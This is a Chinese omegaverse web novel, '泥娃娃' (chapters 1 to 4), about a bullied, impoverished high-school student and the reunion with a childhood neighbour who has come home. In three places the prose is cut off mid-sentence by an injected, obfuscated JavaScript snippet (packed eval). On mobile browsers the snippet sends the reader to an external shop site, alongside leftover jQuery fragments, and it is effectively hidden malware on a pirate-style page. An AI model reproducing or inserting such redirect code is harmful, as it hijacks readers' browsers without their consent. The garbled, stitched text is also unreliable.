《泥娃娃》 1. 第 1 章 热雨铺天盖地落下。 今天是南城漫长的季风雨季到来的第一天。 绵密的雨丝滴在鸟巢蕨肥厚卷曲的叶片上,发出粘稠的滴答声。 夏期被同桌和几个男生按在墙壁上,看牙齿。 “alpha,omgea,beta最显著的区别有三个。” “体型,腺体,牙齿。” 高三生的他们已经开始第三轮复习,但当老师讲到生理知识,青春期的同学们还是像第一次听见那样亢奋。闷热的天气让每个人都变得浮躁,夏期因停过一年学,是班里年龄最大的学生,便被盯上。 他的同桌叫罗嘉伟,按着夏期的手腕不让他乱动,口腔和鼻腔的热气隔着止咬器落在夏期皮肤上:“夏期,你都成年了,为什么还没有分化?” 有人伸手把夏期的止咬器拿下来,又有一只手去掰夏期的下巴。 夏期被迫张开嘴巴。 他知道自己的牙齿很平整,每天早晚牙刷的绒毛刮擦过牙齿,手感顺滑,并没有象征alpha的尖锐虎牙,与未分化的其他同学没有任何不同。 “没看头。”夏期听到罗嘉伟说,有人把他的止咬器丢回到他怀里。 分化期的青少年所使用的止咬器是一种统称,涵盖了止咬器和颈环两种功能。金属的结构和皮质有弹力的绑带总是让人脸上后颈的皮肤连带颈椎都有痛感。 夏期笑笑,低头重新戴上止咬器。 回家的路上,有幼猫的叫声划开细雨落在夏期耳朵里。 小孩子们聚在马路上,抓那只猫的尾巴,用树枝戳猫的脊背,把石头丢在小猫的背上。 这是小孩子们与生俱来的好奇,他们甚至没想过,也不知道这只猫会受伤。他们只是喜欢看到小猫对他们的动作做出反应,茫然地叫出声或是爬远,然后小孩子们尖锐又快乐地笑起来。 那他呢? 他被抓头发,用树枝戳,被石头丢,被掰开嘴巴看牙齿。是因为同学们也想看到的他的反应?茫然地叫出声或是爬远?也是因为与生俱来的好奇? 到家临近晚上九点。 夏期的伞被罗嘉伟拿走了,他浑身都湿透了,雨水顺着他的衣服往下滴,夏期落汤鸡似的钻进浴室,脱衣服。 他很瘦,手指触碰在肋骨上的时候夏期只能想到“嶙峋”这个词,薄嫩的皮肤下是触感分明的骨头,肩膀,锁骨,均匀而又缺乏变化的单薄。 南城只是个水上小镇,一遇下雨容易电压不稳导致停电停水,南城的雨季并不方便。夏期洗澡到一半的时候水冷下来,他忍着凉冲掉头发上的泡沫,擦干净身上。 晚餐是两片面包。 全麦面包酸溜溜又干巴巴,几乎要吸干夏期口腔里的所有水份,他啃着面包跟着软件背单词,cage,calm,camera…… 楼下有行李箱轱辘在地面上拖行的声音。 夏期起身,手指摸到湿漉漉的窗,把开了一条缝的窗合拢。 他讨厌这个声音。 小镇太小,像笼子,大家都要往外走,行李箱的声音一响起来,就是又有一个人要离开。最开始是夏期的爸爸,那声音在半夜响起,咔啦咔啦。然后是夏期的姐姐,是在一个少见的太阳天。接着是邻家的哥哥,他郑重地和夏期道了别,去了外地念大学,接着八年没有再回来。 后来夏期知道了邻家哥哥的联系方式,但打过去的时候已经变成了空号,不过夏期依然留下了这串号码。 睡前雨又下大了一些,声音拍打在树叶上的时候几乎不像雨声了,而更像是沙漏的声音。 夏期就着这个声音睡过去,被沙漏带去了幼时,梦里也是雨天。 夏期已经记不清他的面容了,努力睁大眼都只剩下极致的模糊,但夏期还记得他的声音,柔和得像是轻音乐,因为宋清远的妈妈是南方大城市的人,他的方言听起来和别人都不一样,带一点黏糊。 梦里宋清远把夏期举起来转圈,说期期呀你不怕我吗?他们都不让小孩子和我玩的。 夏期被他转得头晕,搂着他的脖子咯咯笑:“哥哥我不怕你,哥哥我最喜欢你了。” “真的?”宋清远问:“期期胆子好大又善良。” 夏期被夸得很开心,把下巴搭在宋清远肩膀上,小狗一样驯服。 早餐夏期给自己煮了一枚鸡蛋,等水烧开的时候他复习了一下数学公式。 公式、概念、理论、诗句、单词……夏期的每一天都是被它们包围,他很努力地想要去记住它们,但他的成绩并不算好,在班级里只有中游水平,这让夏期感到很挫败。 他拿了把新的雨伞,出门。 南城的雨季是漫长的,雨水是日益增多的,好像天被人戳了个窟窿,然后全世界的水都倾倒在这里。 雨比昨晚还大了,空气中已经弥漫出了浓郁的泥沙味道。 雨水打在房檐、屋顶、伞、马路上飞驰的车子的身上,奏响清晨的乐曲,夏期已经对这首嘈杂的交响音乐很熟悉了。 但今天,这首交响音乐里却混入了杂音。 起初夏期以为是自己的错觉。 但并不是。 硬质的鞋子踩在地砖上的声音,每一步都踩在他的脚步上,不远不近地跟着他,他快,那脚步声也快,他拐弯,身后的人也跟着他拐弯。 夏期不喜欢被人跟随,这让他有一些没有安全感。 上次被人跟,是几个高一的学弟,不知道从哪里听说了他什么,没有靠近过来,却用夏期刚好能听见的声音说——“就是他啊”、“原来是他……” 再上次是有人往他的衣领里揣了一把冰冰凉凉、黏糊的、刚长了腿的蝌蚪。 再再上次,是罗嘉伟向他借钱,拿走了五十元,还了三十六元,说实话,夏期没想过他竟然会还钱,虽然只是一部分。 夏期捏紧伞柄,停住脚步,回过头去。 但没有说话。 因为他并不确定身后的人到底有没有跟着自己,万一错认,那场面一定会好尴尬。 他一停下,脚步声的主人也停下了。 “……”夏期没说话,任由沉默在二人中间蔓延。 先是雨声打破了沉默,接着是对方。 男声带着笑问:“夏期?是你吧?你长大了好多。” 夏期茫然地笑了一下,又想到自己是在习惯性地低着头,对方可能看不清楚他的表情,便抬起头来。 隔着雨伞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496782|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔着雨,夏期又对那个人笑了一下。 “果然是不认识了吧?” 年轻的男声说:“你小时候我还抱过你呢。你还认得我吗?” 不远处有人说:“宋清远。” 男声应了一声,又说:“我昨晚刚回南城,这会儿还有事,今晚有空吗?我去拜访一下外公外婆。” 夏期的嗓音因太久不用,已经生锈,趋近消散,此时正在被一只无形的手攥在喉咙里,像遇到善意的人依旧学不会乞食的流浪动物。 怎么办啊,怎么办呀。 他迟钝地“啊”了声,又说:“噢。” 然后又说:“好的。” 最后他又补充了一句:“清远哥。” 夏期说到“好的”的时候,对方就已经步伐很快地离开了。 等到了学校才知道,原来有许多人都已经知道宋清远回了南城。 南城太小,任何一点风吹草动都能被雨水裹挟着冲刷到每个人的耳朵里;更何况宋清远姓宋。 还有那个病。 “信息素——失调。” “是信息素基因感统失调,你连这个都念不明白?” “我当然知道了。” 恼羞成怒的语气:“说得那么文绉绉干什么?不就是阳痿吗?宋清远是阳痿——” 夏期不想听,更用力地埋下头。 清远哥今晚会去他家?他没有搬过家,所以即便修路,清远哥也会找到的吧? 他会吃饱了来,还是饿着肚子来?总不能他请宋清远吃他剩下的全麦面包和水煮鸡蛋。 卫生也还没打扫……万一今天老师留了很多作业怎么办? 天呐。 数学老师敲敲他的桌子:“把我办公室你们班的卷子拿过来。” 罗嘉伟噗嗤噗嗤地笑:“老师,夏期能行吗?你看他那个样子,要不我去吧?”班上也有其他人跟着笑。 数学老师很喜欢这个在他面前阳光开朗的男孩,也笑:“闭嘴吧你。” 夏期老老实实地站起身朝外走,心里觉得很惊讶。他该像暴雨中的一粒雨一样,小小且无形无色,没有存在感,今天却一连被两个人注意到,夏期感觉到自己被拉到聚光灯下了,可是手脚原本是要摆在哪里来着?他该紧张还是喜悦? 不知道,他只会傻笑,还不算一个合格的演员。 放学时雨总算小了一点,罗嘉伟今天没有再用他的伞,把昨天借走的伞也还给了他。 止咬器勒得夏期的脸颊有点痒,他伸手勾一下带子,把伞放回到书包里,再对罗嘉伟笑一下。 “别对着我笑。”罗嘉伟恶声恶气地道,有气流在夏期脸上飘过。他对夏期挥了下拳。 夏期下意识往后躲了下。 罗嘉伟的声音更凶恶了:“我又没真的打你!” 但罗嘉伟昨天捏着他手腕的力道他还记得很清楚,汗湿黏热的手掌,只是几根手指就让他无法动弹。 罗嘉伟应该会分化成alpha吧?他呢?夏期希望自己成为庸碌平凡的beta,静悄悄的,一个人也可以生活下去,不会发/情,不会易感,不会需要一个alpha或omega来标记或被自己标记,就像最原始的动物。 2. 第 2 章 第2章 -“清远哥,你这几年过得怎么样?听说你现在在当老师?教得什么呀?” -“清远哥,你现在是在临渊吗?听说临渊的夏天比我们这里还热是真的吗?那临渊的冬天会下雪吗?好看吗?” -“清远哥,你还记得你之前抓娃娃抓到的一只小熊玩具吗?我现在还留着,就摆在床头,你要看吗?” -“……” 夏期还是被淋湿了。 路边的车子飞驰而过,溅起瀑布,落在夏期身上。他裤腿浸满了泥水,温热地贴在皮肤上。 他明明有两把伞的,两把都拿在手里……却还是变成了一只落汤鸡。 夏期简直要被自己的倒霉气笑了。 他在速食店精挑细选地买了点食物。 记忆里的清远哥很喜欢甜食,蛋糕、糖果、连饭菜里都要放很多白砂糖来调味,据说是因为母亲就很嗜甜。 夏期买了三道菜,两素一荤,宋清远不饿的话他可以留作接下来几天的晚餐。结账的时候老板为他抹了所有的零头,还多送了他两颗卤鹌鹑蛋。于是夏期觉得被泥水淋湿好像也算不了什么了。 离家门口还有一段距离的时候,夏期听到手机键盘打字时发出的哒哒声,很有节奏,像鼓声。 夏期的住处是老楼,矮矮短短,狭窄潮湿,每一处墙面都被油烟浸泡透了,散发着让人郁闷的气息。老楼一楼二户,住在这里的人,孤苦和伶仃至少占其中一项,但总能找到乐趣,叔叔阿姨聚在门口聊天,大声点评他们近一月遇到的所有人和事。 因此夏期总是很害怕遇见邻居,尤其是在狭窄的门口。每次经过,都像上了法庭,面临着一场盛大的审判。 快上楼,快上楼,快上楼…… 作法无效。 夏期硬着头皮快步走,听到有人叫自己:“期期。”是宋清远。 夏期预演了几遍如何在家中招待宋清远,却没想到自己会在楼下遇到他,于是那些打好了草稿的话题也一下子派不上用场。 他抿了下干干的嘴唇,笑起来:“清远哥。等很久了吗?” “没有。我本来是想早点来,但我姑妈说现在高三生放学都晚,还好听了她的。” 姑妈的原话是什么来着?——“宋清远,话还没说完你就要走?去见弟弟?家里的几个弟弟你都不管,别笑死人了撒谎都不编得像一点,哪个高三生这个时间放学?” 夏期噢了声,朝楼上走,宋清远跟在他后面。 那夏期试图用手里的雨伞挡住自己的腿肚,暗暗期待清远哥别看见他被泥水浸湿的裤腿。 他至少想在别人眼里做一个整洁干净的人。 只是宋清远当然会看到。 他拿出钥匙开了门,腿上的湿热逐渐转冷,嗖嗖地往皮肤里面爬。宋清远问:“要不要先去洗个澡,换一下裤子?” “是、车子。”夏期说:“开得太快了,我旁边又刚好有一个水坑,所以才这么脏的。” 像个委屈得不行所以在抱怨的孩子,意识到这点后,夏期的声音又渐渐小下来:“我去洗一下。” 宋清远嗯了声。 等夏期从狭小的卫生间钻出来,竟然闻到了饭菜的香气,香喷喷、热腾腾。 很久都没有人给夏期做过饭了。 宋清远:“期期你拎回来那些菜我简单热了下,把头发吹干我们就吃饭吧,饿了吧?” 家里的吹风机是老古董,不好用,夏期为了节省电费都是用毛巾把头发擦干。听了宋清远的话,他再抓起搭在肩膀上的毛巾擦了擦湿润的发尾。 宋清远引着他坐下,又往他手里放了一碗米饭:“今早见过你之后,我才知道外公外婆已经过世了,期期你现在是自己一个人住?” 夏期含着一口白米饭,点了点头。 空气中有短暂的沉默。 夏期知道这种安静代表了什么,他不想让宋清远觉得自己过得太凄惨,补充道:“……虽然拿不到奖学金,但是还是有补助金的……学校也有食堂……” 宋清远:“那抑制剂呢?我记得我年大学的时候学校每个月会发两片抑制贴,听我学生说有的高中现在也会发了,还够用吗?” 夏期一愣:“什么?” “我看到你在戴止咬器。”宋清远说:“你也分化成alpha了吗?” 夏期噗嗤一下笑了出来。 他知道宋清远的病,南城的所有人都因为宋清远而得知了这个怪病:信息素基因感统失调。这种奇怪的病让宋清远虽然是个alpha,但却不能像其他alpha一样,释放或感知到信息素。 宋清远和beta不一样的地方就是他的确有一个藏在后颈下的腺体正在空茫茫地运转,将空无输送给空无。 也正是因为闻不到,宋清远才以为夏期已经分化。 夏期抿着唇笑得眼睛弯弯——他?如此瘦弱单薄懦弱的人,在宋清远眼里竟然可以分化成alpha? 再笑下去将很不礼貌,夏期说:“这……这是二合一止咬器,自从分化年龄提前、有好几所学校的学生被无预兆的标记后,现在基本上所有高中生都会戴这样的止咬器。” 只不过,南城外的学校,使用的已经是最新款,不勒肉且对颈肩友好。而他们使用的是被淘汰后通过慈善机构运输过来的旧款式。 宋清远恍然:“我没戴过这种。还挺有设计的……但是应该不太舒服吧?期期你脸上都有带子勒出来的痕迹了。” 宋清远声音的距离越来越近,等尾音落下,就有带着有些刺鼻的绘画颜料的味道靠近过来,在夏期脸上的印迹上碰了下。像一滴水,凉凉的触感。 突如其来的接触,夏期吓了一跳,猛地后退,膝盖弹跳间撞到桌上。 宋清远扶住兵荒马乱的他,声音听起来有点想笑:“抱歉抱歉。” 夏期:“……”他叹气。 宋清远问:“那你还没有分化?” 夏期点头。 绝大多数人会在十八岁生日之前完成分化,夏期早在四个月以前就过了生日,但到现在,他的腺体都安安静静,毫无反应。 他为此去过一次医院,三元钱挂了一个号,做检查又花费了七十五元,医生最后得出的结论是他发育不良,让他多吃鸡蛋多喝牛奶。 宋清远往他碗里夹了些菜,又关心了他一些问题。 夏期一板一眼地回答,心里渐渐开始觉得有些紧张,可能是因为现在的清远哥好像和之前有许多不同了,身上很有大人的气质, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496783|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成熟稳重,也令夏期陌生;也可能是因为清远哥人民教师的职业。 夏期往嘴里填了一块烧豆腐,后知后觉地问:“……好、好吃吗,清远哥?” “是特意按照我的口味买的吧。”宋清远道,“我很久没吃过这么甜的东西了。” “为、为什么?现在的口味变了吗?” 宋清远:“年龄大了,得预防三高。” 夏期愣愣。 清远哥是在和他开玩笑吗?或是清远哥的健康真的出了问题?他该笑还是该关切?二选一,百分之五十的胜率,嘴巴不用就会退化,夏期木讷地张口,却在开口以前听到了清远哥轻轻的笑声。 啊……所以是玩笑。 夏期紧绷的肩膀又放松下来。 和人交流对夏期来说很困难,展现一个笑容倒是毫无难度。夏期已经很习惯笑了,弯起眼睛,嘴角朝上,不晓得在别人眼里看起来是什么样的,至少能让罗嘉伟他们觉得无趣,少戏弄他一些。 这顿饭夏期吃了大半。 宋清远把他按在桌前,自顾自地收拾起了卫生,狭窄的厨房里有忙忙碌碌的声音,夏期想起外婆还在的时候。 厨房是外婆的小天地,将厨房整理得井井有条,从不让夏期进去;她在厨房听本地戏,在厨房撕碎夏期的成绩单,在厨房哭,哭离开的女儿没有把她和外公也一起带走,为什么要留下她一个人用少得可怜的退休金来照顾痴呆的外公和不争气的外孙。 夏期觉得外婆好可怜,他很愧疚地蹲在外婆旁边,双手搂着膝盖,因为外婆不让他抱抱她。 “咔哒”一声,橱柜的门被关上,宋清远靠近过来,最后站定在夏期旁边。 “期期,”他把一沓手感厚实的东西塞到夏期手里:“拿着。” “我不要,”夏期突然发起抖来,他不知道为什么会这样,“清远哥,我不要钱。” 也许是夏期颤抖的样子让他吃惊,宋清远默然了一下,把手里的钱收了回去,另一只手则搭在夏期肩膀上,从肩头,到肩胛骨,为他顺气。 几分钟后夏期才平静下来。 “对不起。”他道歉,又问,“清远哥,我可以加你的微信吗?” “当然。” 夏期的手机没电了,他把自己的微信号报给宋清远:“……xq,下划线,1200。头像是一只金毛犬。” 宋清远嗯了声,加上了夏期的好友,突然说:“头发还在滴水,你坐好,我帮你擦一下。” 夏期刚想拒绝,宋清远已经拿掉他搭在脖子上的毛巾。 他小的时候,家里还没有安装淋浴器,有时雨下得突然,或是玩得太疯,一身泥水是常态,宋清远会故作惊讶地问这是谁家的泥巴娃娃啊?但还会拉着夏期的手,带他去自己家里洗澡。 凉凉的手掌隔着毛巾落在夏期头发上,力道很轻,也很舒服。宋清远的手指偶尔会不小心碰到夏期的耳朵,脸颊,腮,同夏期记忆里一模一样,这让夏期昏昏欲睡。等清醒过来时,为夏期擦发的宋清远已经和夏期记忆中的哥哥重叠在了一起,那股让人拘谨的陌生感淡去了许多。 夏期抿了抿唇:“清远哥……” “嗯?” “我可以,摸摸你的脸吗?”夏期问。 3. 第 3 章 第3章 “嗯?可以。”宋清远说。 夏期就伸出手去。 宋清远似乎是往前探了下,他和夏期的距离比夏期想象中要近一些,手指只在半空中漂浮了短暂的一瞬,便触摸到宋清远的额发。 比想象中要柔软,细碎的手感,摸起来像养尊处优的宠物。再往下是光滑饱满的额头,高挺的鼻梁,睫毛好长,嘴角伴随着笑意上扬着。 “我的痣太多了。”当夏期准备收回手的时候,听到宋清远说:“当年脸上才三个吧,这几年不知道什么时候又长了好几颗。” 是在感慨岁月如梭吗? 夏期笨拙地安慰宋清远:“听说……痣多的人,比较抗老,寿命也会比较长……” 宋清远笑了一声。 夏期听到清远哥的手机一连爆发出三四声提示音。 夏期问:“清远哥,有人找你吗?你是不是还有事?” 宋清远说:“是吧,我二叔给我安排了相亲。” 相亲?啊…… 宋清远:“唉,这就是大人的世界。相亲,存款压力,职称评选,高血压,腰疼,都会找上来。等期期你到了三十岁就懂了。” “清远哥你不是也没到?”夏期被宋清远逗得有点想笑,“你才二十九岁呢。” 宋清远笑:“没差。” 他站起身,准备离开的姿态,夏期亦步亦趋地跟在他后面,把宋清远送到了门口后,问:“清远哥……我可以微信找你聊天吗?” 宋清远说:“当然。” 他伸手搓搓夏期的头,又说:“我下次再来找你玩。好好吃饭,早点睡觉,有什么事都可以和我说,嗯?” 大人口中的“下次”,大多是客套吧? 但夏期想相信清远哥,相信他的“下次”。于是他用力地点了点头。 宋清远说:“那哥哥今天告辞了,谢谢你的饭菜,很好吃,期期。” 即便他关门的动作已经放得很轻了,但因房门已经十足老旧,还是发出了很大一声声响。 再等了等,同样年久失修的楼道门也发出了很响亮的一声砰。 夏期怅然地站了一会,弯起后背,抓过旁边的扫把简单打扫了一下,又搬出卷子。 做了两套数学卷子后,他突然想起来什么,抓过已经充满电的手机。 手机因年头太久已经十足卡顿,如气喘吁吁的老人一般缓慢地启动了微信。夏期通过了宋清远的好友申请。 宋清远的微信名是“AAA泥巴搬运工宋清远”,点进朋友圈,最上面一条是休假通知:“本人于四月十日休假至暑期,期间工作交由孙老师处理。”后面附上了这位孙老师的联络方式。 一连往下翻了几条,都是工作相关的内容以及一些咨询、美术展、植物百科的公众号转发。很久后夏期才终于找到了关于宋清远本人的内容,是一条纯文字: “今年夏天是不是没有下过雨?” 评论区里还有一条宋清远的回复,也许是想回复谁,却按错成了评论:“是啊,我老家是南城,几乎每一天都是雨天,绝没夸张。” 从宋清远的朋友圈里退出来,夏期看到宋清远给自己发了条消息:“还没休息?” [XQ]:在做作业,清远哥 [AAA泥巴搬运工宋清远]:可怜哦,期期,等高考完就好了 [XQ]:嗯嗯/可爱/猪,清远哥早点休息 [AAA泥巴搬运工宋清远]:还在相亲 [XQ]:这么晚?都快十点半了 [AAA泥巴搬运工宋清远]:是吧?不知道的还以为我在配阴婚。 夏期:“……”天呐,他是不是不该笑? 宋清远等了等,见夏期没再回消息,把手机倒扣在桌上。 对面的男人问:“当老师果然很忙吧,这么晚还要处理学生的事情?” 宋清远温和地笑了一下。 alpha和omega的寿命远超旁人,但终有尽头。而自从老爷子病重,家里分成几派,就连他这个之前不被承认的孩子都被迫卷入了这场无硝烟的战争。他回南城才两天,就已经被安排了三场相亲,似乎恨不得他今天就能结婚,明天就能下崽。 就连他无法使人受孕的体质都被有意无意的忽略了。 这次的相亲对象不肖前两位,只对他的家族和能分到多少财产感兴趣,而是对他本人颇有好感。 应该是因为长相吧?宋清远知道自己长得不错。不然对方总不能是对自己一个月几千块的工资和忙起来焦头烂额的工作感兴趣。 对面的男人已经能够从宋清远的态度里看出这场相亲的结果,但他并不介意宋清远的冷淡,又抛出了个话题:“这家店的萨赫味道很正宗,宋老师家里小孩子很多吧,我点了几块,已经叫服务生打包起来,等下宋老师可以拿回去。” 宋清远想了想,点点头。 吃完饭时间接近十一点,宋清远结了这一餐的账,将这位瘦弱的omega送回了家,并收获了三块散发着巧克力香甜味道的蛋糕。 到家已凌晨,老爷子还醒着,把他叫过去。 宋清远靠着门口:“熬夜当心长不高。” 他九十岁的爷爷老当益壮,抓起水杯扔他。 宋清远接住水杯,放回到桌面上,坐在床边。护工见状起身离开。 老爷子说:“我最不放心的就是你。” 这话宋清远从小到大听过许多遍。 他知道老爷子对他好,但实在不能理解为什么他不放心自己。 他众多的兄弟姐妹们中,有□□的有吸/毒的,有搞破鞋的有蹲局子的,哪个不需要操心?为什么单单要对他一个兴趣爱好是画画和养花的人民教师如此担忧? 就因为他阳痿? 老爷子看宋清远笑,冷哼一声。 狐狸样子的孙子,温和的面皮下全是弯弯绕绕的精明,到了现在这种时候仍在装傻。 他是怕宋清远照顾不好自己?他其实是怕宋清远把他的那些蠢货手足全给坑一个遍! 遗产,遗产……死亡对每一个人都如此公平,就算他是全球闻名的糖果大亨又如何?他一生吝啬,视财如命,死后也将带不走一分财产,幸好他前些时间已经想开,决定将财产合理分配给子孙。 不知道修改了多少遍的遗书已经由律师们备份又备份,只是仍十分不完善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496784|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,至少他想不到,要如何避免孩子们手足相残。 他疲惫地喘出一口浊气,听外面细密的雨声。 宋清远问:“累了?要休息吗?” “嗯。”他闭上眼,说,“你到底喜欢男的还是女的?beta还是omega?……算了,今天的那个你看不上就看不上了,明天的王小姐你一定要和她好好相处。” 宋清远叹,轻声出了房间。 他这次回南城匆忙,东西带得极少,除几件常用的衣物外只有画具,一些他用得顺手的日用都没来得及带。 密雨和湖海把南城圈在了单独的版块里,让它从未繁华过,商城里卖的东西还都是多年前的过时款式,连锁品牌也极少。因此宋清远只好选择网购。 衣物,领带,鞋袜,补充用的颜料与画纸,以及一些零零碎碎的东西,在宋清远好声好气地补给了商家发送偏远地区的高额运费后,总算成功下单。 相关推荐跳出了毫不相关的五元一箱的临期饼干。 这牌子的另一款甜牛奶宋清远很喜欢喝,是在他去淮流念大学之前,他坐在屋檐下吹风躲雨,夏期趴在他膝盖上,把他的裤子攥得皱巴巴,比他有血缘关系的弟弟妹妹都要粘他。 他把甜牛奶的吸管递到夏期唇边,夏期抿一小口,不好意思地把脸埋在他的白衬衣里笑,两个人都被笼罩在牛奶香甜的气味中。 夏期也变了很多。现在的他长成了一个瘦弱的男孩子,还是很爱笑,但笑容十分勉强,本就白皙的肤色因缺乏营养而愈发苍白无血色。中等身高,只是因背习惯性地弯着,从视觉上看起来便要更小一圈。 那间屋子也很破旧了。宋清远能看出夏期极力在保持整洁,但雨水和时间让一切都损坏得差不多了。 宋清远又将一些夏期能用到的日用品加入了购物车。 全选结账,直到看到付款页面几万元的总金额,这才回过神来。 夏期连他的钱都不肯要,又怎么会要这么多东西? 宋清远挑挑拣拣,勉为其难地删除了大多东西。 他选购时微信一直响个不停。 刚刚的相亲对象发来了几条消息;班里的学生在群里哀嚎着想他;主任发来了一份文件,竟然要休假的他来完成别人的工作,宋清远假装自己没看见。 他找到那只笑得很开心的金毛犬,随手翻看了一下夏期的朋友圈。没有什么内容,只是隔三差五地会从某个背单词软件分享出坚持打卡的链接。 “期期,睡了吗?” 宋清远给他留言:“今天吃饭,对方送了我几块蛋糕,味道不错,吃不完有些可惜。你要是愿意帮忙解决的话,我给你送过去,明天方便吗?” 夏期还没睡,或是被他吵醒了。 [XQ]:不用啦,清远哥,太麻烦你了。 十八岁的独居少年,心气坚强,但并不擅长伪装。从夏期的文字里,宋清远不难想到夏期怕麻烦旁人,怕被任何人怜悯与施舍的心情。 他回了不麻烦三字,又赶在夏期拒绝前说:“明天我去你学校那边相亲。正好同你一起回去。” 这次他的理由说服了夏期,对方回他:“嗯嗯,谢谢你,清远哥。” 4. 第 4 章 第4章 夏期睡前,雨终于停了一阵,难得有风吹进。 他贪凉,趴在窗边吹夜风,拿着自己在路边摊三十元买的运动型收音机听歌,不知不觉就伴随着音乐睡过去,还是午夜电台结束后嘈杂的噪音将他叫醒。 代价是酸胀的额头,和打个不停的喷嚏。 夏期每打一个喷嚏,罗嘉伟就窃笑一下,被打扰到的同学也很用力地咋舌。 放学时桌面垃圾桶又一次满了,值日中负责收垃圾的同学拦在他面前,声音尖利地不许他丢进去。 夏期笑一下:“那我、我丢到楼下去。” 同学哼一声。 夏期转过身,猝不及防地被一条结实的手臂按在墙壁上。 “老师不是说了吗,百分之八十的人分化时会发热流鼻涕,夏期,你是不是要分化了?” “只是感冒。”夏期答。 那条手臂抓着夏期的肩膀,以一种不容拒绝的力道把夏期翻了个面。 夏期的止咬器抵在墙壁上,面颊钝痛。他顺从地侧了下脸,上半张侧面贴在冰冷的墙面上,总算没那么难受。 手臂主人的两只手都用来钳制他,就又叫了一个人过来:“你把他头发撩开。夏期,你头发怎么这么长啊?多久没剪头发了?你是女生吗?” 遮挡着后颈的头发被拨到一旁,两道呼吸离他很近,仔细观察着他的皮肤。没红,没肿,闻一闻没有奇怪的香味,搓一搓只能感觉到一节一节的颈椎。确定只是感冒无疑后,按着他的手才松开。 空气先是安静,继而有窃笑传出。夏期回到自己座位上,胡乱把桌上的书本塞到书包里,被雨淋湿了的棉花似的,笨拙的,软绵的,沉甸甸地离开教室。 只有高三生在这个时间放学。校园安静到只有远处海水涨潮的沙沙声与雨声,空气中是浓郁的木瓜香气,伴随着燠热灌满鼻腔。 夏期还记得宋清远今天会来,只是不知道他会出现在哪里,在校门口停住脚步时,宋清远已经先于夏期发现他发现了夏期:“期期,这里。” 夏期快步走了两步,笑着与他打招呼:“清远哥。相亲还顺利吗?” 宋清远说:“要看从哪个方面来说。” 夏期疑惑地歪了歪头。 宋清远:“从不顺利这方面来说,就很顺利。” 夏期记忆中的宋清远就总会说一些很奇怪的话。那时的他年龄还太小,听也听不懂,只是觉得宋清远的声音好听又善良。 现在他倒是能够理解宋清远的话,原来都是一些不知道应不应该笑的逗趣话。 只是…… 夏期问:“……怎么会不顺利呢?” 宋清远把夏期的书包拿在手里。 夏期摇头又摇头:“我自己背就可以了。” “期期真是长大了。” 宋清远说:“你小时候不光要我拿书包,还要我背着你,最可气的是到了家我发现你书包里根本没有两本书,全是从海边捡的石头。” 夏期咬着嘴唇,实在没有忍住笑声。宋清远借机将他肩上的书包取走。 他问夏期:“你觉得该顺利吗?我的相亲。” “因为……”夏期说,“清远哥你长得很好看,又是个好人……” 所以就算清远哥的身体有一些问题,也总有不介意的beta或omgea吧? 为了表达自己的认真,夏期还抬起头,仰面朝向宋清远的方向,想让他看清自己的神色。 清远哥没立即讲话,反而拇指覆盖在夏期的眼睑上,冰凉的触感,带着雨水的潮气,像正在进行融化的冰。夏期被惊得瑟缩了一下,听宋清远问自己:“你哭过了?” 夏期愣愣,摇了摇头:“没有哭过。” 他没有说谎,他真的已经很久都没哭过了。有时候他只是需要回到一个人都没有的家里,关进所有门窗,没有人可以进来,他窝在椅子上尽情地蜷缩。 他被教会了如何缩成只有自己一半的大小。 “期期你……” 夏期和宋清远同时开口了:“清远哥,我的头发是不是很长了?你可以带我去剪头发吗?” 他顿了顿,摸了摸后颈,又补充说:“周六日就可以,清远哥你有时间的时候。或者我自己去也可以的。我……” 宋清远说:“走吧。刚巧我大学学弟在附近有开理发店。”声音听起来好温和。 “咔哒”一声,宋清远收伞的声音。夏期手中的伞被宋清远接了过去撑在两人头顶。宋清远说:“这样会方便一点。”话音落下,他握住夏期的手腕,把夏期的手搭在他的手臂上。 夏期幼时总喜欢挽着别人走路,爸爸妈妈,外公外婆,姐姐,还有宋清远,但除了宋清远谁也不愿被他缠。豆丁大的负担也是负担,尽管他不哭不闹不嘴馋还总在笑。 后来夏期便只缠着宋清远一人,抱着清远哥的脖子抱他的腿抱他的手臂爬他的手背,也不管那时自己的身高和清远哥差了好大一截,从远处看起来,真的极不平衡,像被宋清远拎在手里的保温壶。 现在再搭在宋清远手臂上,倒没有那样大的差距了。 夏期问:“学弟?” “是老乡会认识的。”宋清远说:“我大一的时候,一个南城的学姐拉我进了老乡群,里面算上我才三个人。等我大四的时候才终于又有同乡考进来。有时候看别人同乡聚会热热闹闹的,我们连一桌麻将都凑不齐,也很眼红。” 